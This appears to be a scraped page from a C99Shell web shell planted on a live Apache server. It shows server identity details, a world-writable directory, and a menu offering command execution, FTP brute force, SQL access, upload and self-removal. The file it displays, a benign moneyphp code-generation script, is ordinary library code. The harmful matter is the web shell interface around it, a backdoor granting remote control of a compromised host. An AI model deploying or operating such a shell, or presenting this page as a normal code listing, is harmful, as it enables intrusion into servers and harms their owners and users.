!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/moneyphp/money/resources/   drwxrwxrwx
Free 13.03 GB of 57.97 GB (22.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     generate-money-factory.php (1.29 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require __DIR__.'/../vendor/autoload.php';

use 
Money\Currencies;

$buffer = <<<PHP
<?php

namespace Money;

/**
 * This is a generated file. Do not edit it manually!
 *
PHPDOC
 */
trait MoneyFactory
{
    /**
     * Convenience factory method for a Money object.
     *
     * <code>
     * \$fiveDollar = Money::USD(500);
     * </code>
     *
     * @param string \$method
     * @param array  \$arguments
     *
     * @return Money
     *
     * @throws \InvalidArgumentException If amount is not integer(ish)
     */
    public static function __callStatic(\$method, \$arguments)
    {
        return new Money(\$arguments[0], new Currency(\$method));
    }
}

PHP;

$methodBuffer '';

$currencies = new Currencies\AggregateCurrencies([
    new 
Currencies\ISOCurrencies(),
    new 
Currencies\BitcoinCurrencies(),
]);

$currencies iterator_to_array($currencies);

usort($currencies, function (\Money\Currency $a\Money\Currency $b) {
    return 
strcmp($a->getCode(), $b->getCode());
});

/** @var \Money\Currency[] $currencies */
foreach ($currencies as $currency) {
    
$methodBuffer .= sprintf(" * @method static Money %s(string|int \$amount)\n"$currency->getCode());
}

$buffer str_replace('PHPDOC'rtrim($methodBuffer), $buffer);

file_put_contents(__DIR__.'/../src/MoneyFactory.php'$buffer);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--